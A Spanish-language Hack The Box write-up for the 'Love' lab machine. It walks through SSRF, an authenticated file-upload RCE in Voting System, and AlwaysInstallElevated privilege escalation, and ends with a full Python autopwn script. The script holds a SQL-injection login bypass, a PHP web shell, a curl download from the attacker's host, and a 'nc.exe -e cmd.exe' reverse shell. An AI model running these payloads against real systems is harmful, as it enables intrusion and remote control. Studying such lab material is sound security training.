Resumen
Saludos, en esta oportunidad vamos a resolver la máquina de Hack The Box llamada Love, la cual tiene una dificultad easy. Para lograr vulnerarla realizaremos lo siguiente:
- Enumeración del sistema y descubrimiento de directorios y subdominios.
- SSRF para encontrar información.
- Abuso del CMS voting system (vulnerable).
- Abuso del AlwaysInstallElevated utilizando archivo .msi.
- Automatización de la intrusión mediante python.
Reconocimiento y Enumeración
En primer lugar, se comprueba la correcta conexión en la VPN con la máquina utilizando ping
:
1
2
3
4
ping -c 1 10.10.10.239
PING 10.10.10.239 (10.10.10.239) 56(84) bytes of data.
64 bytes from 10.10.10.239: icmp_seq=1 ttl=127 time=145 ms
Se observa que existe una correcta conexión con la máquina.
Para realizar un reconocimiento activo se utilizará la herramienta nmap
, en búsqueda de puertos abiertos en todo el rango (65535) y aplicando el parámetro -sS
el cual permite aumentar el rendimiento del escaneo, haciendo que las conexiones no se realicen totalmente (haciendo solo syn syn-ack):
1
sudo nmap -p- -sS --open -min-rate 5000 10.10.10.239 -oG Port
Al finalizar el escaneo, se pueden observar los puertos abiertos de la máquina víctima:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
3306/tcp open mysql
5000/tcp open upnp
5040/tcp open unknown
5985/tcp open wsman
5986/tcp open wsmans
7680/tcp open pando-pub
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
Realizamos un escaneo de los servicios expuestos utilizando nmap
:
1
2
sudo nmap -sCV -p80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,49670 10.10.10.239
Como resultado del escaneo tenemos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
|_http-title: Voting System using PHP
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Not valid before: 2021-01-18T14:00:16
|_Not valid after: 2022-01-18T14:00:16
| tls-alpn:
|_ http/1.1
|_http-title: 403 Forbidden
445/tcp open microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysql?
| fingerprint-strings:
| NotesRPC:
|_ Host '10.10.14.17' is not allowed to connect to this MariaDB server
5000/tcp open http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
5040/tcp open unknown
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
| ssl-cert: Subject: commonName=LOVE
| Subject Alternative Name: DNS:LOVE, DNS:Love
| Not valid before: 2021-04-11T14:39:19
|_Not valid after: 2024-04-10T14:39:19
| tls-alpn:
|_ http/1.1
|_ssl-date: 2023-02-11T21:36:15+00:00; +21m32s from scanner time.
|_http-title: Not Found
7680/tcp open pando-pub?
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.93%I=7%D=2/11%Time=63E804A5%P=x86_64-pc-linux-gnu%r(No
SF:tesRPC,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.14\.17'\x20is\x20not\x20a
SF:llowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-os-discovery:
| OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
| OS CPE: cpe:/o:microsoft:windows_10::-
| Computer name: Love
| NetBIOS computer name: LOVE\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2023-02-11T13:36:02-08:00
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
|_clock-skew: mean: 2h21m32s, deviation: 4h00m01s, median: 21m31s
| smb2-time:
| date: 2023-02-11T21:36:00
|_ start_date: N/A
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
En primer lugar, se observa el puerto 445
abierto, el cual corresponde al servicio smb
, por lo tanto, intentaremos realizar una enumeración del equipo y también si es posible de usuarios o recursos, para ello usaremos diferentes herramientas, la primera es crackmapexec
:
1
2
3
crackmapexec smb 10.10.10.239
SMB 10.10.10.239 445 LOVE [*] Windows 10 Pro 19042 x64 (name:LOVE) (domain:Love) (signing:False) (SMBv1:True)
Intentamos listar recursos compartidos mediante smbmap
:
1
2
3
smbmap -H 10.10.10.239
[!] Authentication error on 10.10.10.239
Pero necesitamos credenciales para poder listar contenido.
Obsevamos el puerto 80 abierto, por lo tanto, utilizando whatweb vamos a enumerar información del sistema:
1
2
whatweb 10.10.10.239
http://10.10.10.239 [200 OK] Apache[2.4.46], Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27], IP[10.10.10.239], JQuery, OpenSSL[1.1.1j], PHP[7.3.27], PasswordField[password], Script, Title[Voting System using PHP], X-Powered-By[PHP/7.3.27], X-UA-Compatible[IE=edge]
Al entrar a la web vemos lo siguiente:
Vemos un panel donde se pide id y password, antes de intentar realizar algún tipo de injección terminaremos de enumerar el sistema, ahora realizamos fuzzing utilizando wfuzz
:
1
wfuzz -c --hc=404,403 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 200 http://10.10.10.239/FUZZ
Encontramos algo interesante:
1
000000259: 301 9 L 30 W 337 Ch "admin"
Vamos a la página a ver qué encontramos:
Ahora es un panel de autenticación, con el mismo título de voting system, desconocemos si se trata de algún tipo de CMS, por lo tanto, buscamos por la web si existe y sí, corresponde a un CMS, por lo tanto, buscaremos vulnerabilidades asociadas:
1
searchsploit voting system
1
2
3
4
Voting System 1.0 - Authentication Bypass (SQLI) | php/webapps/49843.txt
Voting System 1.0 - File Upload RCE (Authenticated Remote Code Execution) | php/webapps/49445.py
Voting System 1.0 - Remote Code Execution (Unauthenticated) | php/webapps/49846.txt
Voting System 1.0 - Time based SQLI (Unauthenticated SQL injection) | php/webapps/49817.txt
Obsevamos que hay diversas vulnerabilidades para este CMS. Sin embargo, seguiremos enumerando el sistema por ahora.
Observamos que está el puerto 5000 abierto, por lo tanto, vamos a ingresar:
Sin embargo, no tenemos permisos para ver este recurso.
Vamos a seguir buscando información. En este caso intentaremos encontrar si es que existe algún subdominio, vemos que está el puerto 443 abierto, por lo tanto, nos conectamos con openssl por si encontramos información:
1
openssl s_client -connect 10.10.10.239:443
Dentro de toda la información encontramos algo interesante:
1
0 s:C = in, ST = m, L = norway, O = ValentineCorp, OU = love.htb, CN = staging.love.htb, emailAddress = roy@love.htb
Vamos a agregar love.htb y staging.love.htb al /etc/hosts:
1
2
3
4
5
6
127.0.0.1 localhost
127.0.1.1 kali
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.10.10.239 love.htb staging.love.htb
Si ingresamos a staging.love.htb tenemos:
Encontramos una sección llamada Demo, entramos en ella:
Observamos que necesita una url, por lo tanto, abriremos un servidor http con python y pondremos nuestra dirección en la sección demo para probar si la página es funcional:
1
python3 -m http.server 80
Ingresamos nuestra ip:
Si miramos nuestro servidor en python tenemos:
1
2
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.239 - - [11/Feb/2023 21:47:32] "GET / HTTP/1.1" 200 -
Explotación
Vemos que efectivamente es funcional. Como por detrás está haciendo la consulta a una URL lo que podríamos hacer es verificar si se puede realizar un SSRF, en este caso probaremos si podemos enumerar información del lado del servidor que no podemos, para esto en vez de utilizar nuestra ip utilizaremos el localhost, especificamente en el puerto 5000, pues teniamos una página en la cual no teniamos permisos para revisar:
Observamos que si se ha logrado obtener la información de la página desde el localhost. Observamos unas credenciales, en este caso de administrador, iremos a la página de administrador para intentar entrar:
Estamos dentro del CMS como administradores. Si volvemos a mirar los resultados de searchsploit
encontramos esto:
1
Voting System 1.0 - File Upload RCE (Authenticated Remote Code Execution) | php/webapps/49445.py
Tendríamos un RCE si estamos autenticados, y es el caso por lo tanto, vamos a ver que hace el código:
1
2
3
4
5
6
7
# --- Edit your settings here ----
IP = "192.168.1.207" # Website's URL
USERNAME = "potter" #Auth username
PASSWORD = "password" # Auth Password
REV_IP = "192.168.1.207" # Reverse shell IP
REV_PORT = "8888" # Reverse port
# --------------------------------
Vemos un área donde debemos ingresador los datos para ganar acceso al sistema. Si cambiamos los valores y ejecutamos el código no da un error. Si inspeccionamos el código nos damos cuenta que se realizan varias peticiones con estas url:
1
2
3
4
INDEX_PAGE = f"http://{IP}/votesystem/admin/index.php"
LOGIN_URL = f"http://{IP}/votesystem/admin/login.php"
VOTE_URL = f"http://{IP}/votesystem/admin/voters_add.php"
CALL_SHELL = f"http://{IP}/votesystem/images/shell.php"
sin embargo, si observamos nuestro index:
1
http://10.10.10.239/admin/home.php
No existe la ruta votesystem, por lo tanto, lo cambiaremos en el script, si lo ejecutamos de nuevo:
1
2
3
4
python3 49445.py
Start a NC listner on the port you choose above and run...
Logged in
Poc sent successfully
Si vamos a nuestro netcat
:
1
2
3
4
5
6
7
8
9
10
11
nc -nvlp 8888
listening on [any] 8888 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.239] 50710
b374k shell : connected
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\xampp\htdocs\omrs\images>whoami
whoami
love\phoeb
Hemos conseguido acceso al sistema (La explicación de por qué funciona este exploit será más adelante cuando programemos el autopwn).
Buscamos la flag de usuario:
1
2
3
C:\Users\Phoebe\Desktop>type user.txt
type user.txt
3f115dbec9b51e23c3608a87d
Bien, tenemos la flag, ahora debemos escalar privilegios.
Escalada de privilegios
Para encontrar vías potenciales de escalada utilizaremos winPEAS.exe
, mediante un servidor http con python compartimos el recurso y dentro de la máquina víctima ponemos:
1
certutil.exe -f -urlcache -split http://10.10.14.17/winPEASx64.exe winPEAS.exe
Al tenerlo en el equipo lo ejecutamos y buscamos cosas interesantes:
1
2
3
4
Checking AlwaysInstallElevated
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated
AlwaysInstallElevated set to 1 in HKLM!
AlwaysInstallElevated set to 1 in HKCU!
Observamos una posible forma de escalar privilegios, iremos a web de hacktricks para ver en que consiste.
Básicamente, debemos realizar un payload .msi que haga una reverse shell con msfvenom
y luego ejectuarlo con msiexec /quiet /qn /i.
Por lo tanto, creamos el payload:
1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.17 LPORT=1235 --platform windows -a x64 -f msi -o reverse.msi
Luego, este archivo creado lo pasaremos a la máquina víctima:
1
2
3
4
curl 10.10.14.17/reverse.msi -o reverse.msi
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 156k 100 156k 0 0 156k 0 0:00:01 --:--:-- 0:00:01 191k
Con este archivo dentro de la máquina windows lo ejecutamos con msiexec /quiet /qn /i mientras tenemos netcat escuchando:
1
2
C:\xampp\htdocs\omrs\images>msiexec /quiet /qn /i reverse.msi
msiexec /quiet /qn /i reverse.msi
Si observamos nuestro netcat
:
1
2
3
4
5
6
7
8
9
rlwrap nc -nvlp 1235
listening on [any] 1235 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.239] 59296
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami
whoami
nt authority\system
Bien, estamos dentro, ahora buscaremos la flag:
1
2
3
C:\Users\Administrator\Desktop>type root.txt
type root.txt
799e26baf2559167d6b1257
¡Bien!
Hemos ganado acceso como administrador.
Sin embargo, ahora haremos un autopwn en python que nos permitirá ganar acceso al sistema.
El código consiste en estos pasos:
- injección sql para logearse en voting system.
- Subir un archivo php malicioso que permite utilizar la variable cmd para injectar comandos.
- Utilizar este archivo php para subir el netcat.exe a la máquina víctima.
- Utilizar el mismo archivo php para realizar una conexión hacia nuestro equipo.
En primer lugar, tenemos las librerías:
1
2
3
import requests,sys,subprocess
from pwn import *
from os import system
Luego, tenemos la función encargada del control + c y la función que aparece si no ingresan correctamente los datos:
1
2
3
4
5
6
7
8
9
def def_handler(sig, frame):
print("\n\n[!] saliendo...\n")
sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
if len(sys.argv) < 3:
print(f'[!] Uso: python3 {sys.argv[0]} "Tu IP" "Puerto para tu netcat"\n' )
sys.exit(1)
Definimos las variables globales:
1
2
3
4
ipHost = sys.argv[1]
ipPort = sys.argv[2]
LoveIP = 'http://10.10.10.239'
s = requests.Session()
Tenemos la siguiente función que se encarga de obtener el path del nc.exe
y copiarlo en el directorio actual de trabajo:
1
2
3
4
5
6
7
8
9
def getNetcat():
try:
result = subprocess.check_output(["locate", "nc.exe"])
result2 = result.decode("utf-8")
path = result2.split("\n")[0]
system(f'cp {path} .')
except:
print("nc.exe not found")
exit(1)
La siguiente función corresponde a la injección sql obtenida a través de searchsploit
, la cual nos permite logearnos como administrador en el voting system:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def sqli():
ip = f'{LoveIP}/admin/login.php'
post_data = {
'login':'yea',
'password':'admin',
'username': """dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -"""
}
cookies = s.cookies
r = s.post(ip,data = post_data,cookies=cookies)
if r.status_code == 200:
print("[+] Injección SQL exitosa\n")
else:
print("[!] Injección SQL fallida\n")
sys.exit(1)
Con la sesión iniciada, procedemos a subir un archivo php malicioso:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def uploadshell():
payload = """ <?php echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"; ?> """
files = {'photo':('shell.php',payload)
}
post_data = {
'firstname' :' lorem',
'lastname':'lorem',
'password':'lorem',
'add':''
}
LoveVote= f'{LoveIP}/admin/voters_add.php'
r = s.post(LoveVote, data= post_data,files=files)
if r.status_code == 200:
print("[+] Subida de shell existosa\n")
else:
print("[!] Subida de shell fallida\n")
exit(1)
Con el archivo ya subido a la máquina, intentaremos subir el nc.exe
a la máquina víctima:
1
2
3
def uploadNC():
ip = f'{LoveIP}/images/shell.php?cmd=curl {ipHost}/nc.exe -O nc.exe'
r = s.get(ip)
Finalmente, nos conectamos con el nc.exe
desde la máquina víctima:
1
2
3
4
def conection():
print('\t\n\n[+] Completando proceso, revise netcat\n')
ip = f'{LoveIP}/images/shell.php?cmd=nc.exe -e cmd.exe {ipHost} {ipPort}'
r = s.get(ip)
Dentro del main tenemos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if __name__ == '__main__':
print(f'\n[+] Recuerda estar esperando conexión en netcat en el puerto {sys.argv[2]}\n\n')
sleep(2)
getNetcat()
sqli()
uploadshell()
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as so:
so.bind(('localhost', 80))
http_server = subprocess.Popen(["python3", "-m", "http.server", "80"])
except OSError:
print("\n[-] El puerto 80 se encuentra en uso, no se ha podido ejectuar el servidor")
uploadNC()
http_server.terminate()
conection()
Obsevamos la llamada de las funciones y el subproceso que permite tener un servidor http con python para compartir el nc.exe
y que la máquina víctima pueda descargarlo.
Luego, solo basta con iniciar al script junto con tu ip y el puerto que quieras recibir la reverse, y dejas tu netcat
esperando conexión.
1
[+] Completando proceso, revise netcat
1
2
3
4
5
6
7
nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.239] 60385
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\xampp\htdocs\omrs\images>
El código completo es el siguiente:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import requests,sys,subprocess
from pwn import *
from os import system
def def_handler(sig, frame):
print("\n\n[!] saliendo...\n")
sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
if len(sys.argv) < 3:
print(f'[!] Uso: python3 {sys.argv[0]} "Tu IP" "Puerto para tu netcat"\n' )
sys.exit(1)
ipHost = sys.argv[1]
ipPort = sys.argv[2]
LoveIP = 'http://10.10.10.239'
s = requests.Session()
def getNetcat():
try:
result = subprocess.check_output(["locate", "nc.exe"])
result2 = result.decode("utf-8")
path = result2.split("\n")[0]
system(f'cp {path} .')
except:
print("nc.exe not found")
exit(1)
def sqli():
ip = f'{LoveIP}/admin/login.php'
post_data = {
'login':'yea',
'password':'admin',
'username': """dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -"""
}
cookies = s.cookies
r = s.post(ip,data = post_data,cookies=cookies)
if r.status_code == 200:
print("[+] Injección SQL exitosa\n")
else:
print("[!] Injección SQL fallida\n")
sys.exit(1)
def uploadshell():
payload = """ <?php echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"; ?> """
files = {'photo':('shell.php',payload)
}
post_data = {
'firstname' :' lorem',
'lastname':'lorem',
'password':'lorem',
'add':''
}
LoveVote= f'{LoveIP}/admin/voters_add.php'
r = s.post(LoveVote, data= post_data,files=files)
if r.status_code == 200:
print("[+] Subida de shell existosa\n")
else:
print("[!] Subida de shell fallida\n")
exit(1)
def uploadNC():
ip = f'{LoveIP}/images/shell.php?cmd=curl {ipHost}/nc.exe -O nc.exe'
r = s.get(ip)
def conection():
print('\t\n\n[+] Completando proceso, revise netcat\n')
ip = f'{LoveIP}/images/shell.php?cmd=nc.exe -e cmd.exe {ipHost} {ipPort}'
r = s.get(ip)
if __name__ == '__main__':
print(f'\n[+] Recuerda estar esperando conexión en netcat en el puerto {sys.argv[2]}\n\n')
sleep(2)
getNetcat()
sqli()
uploadshell()
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as so:
so.bind(('localhost', 80))
http_server = subprocess.Popen(["python3", "-m", "http.server", "80"])
except OSError:
print("\n[-] El puerto 80 se encuentra en uso, no se ha podido ejectuar el servidor")
uploadNC()
http_server.terminate()
conection()
¡Listo! terminamos la automatización de la intrusión.
Nos vemos, hasta la próxima.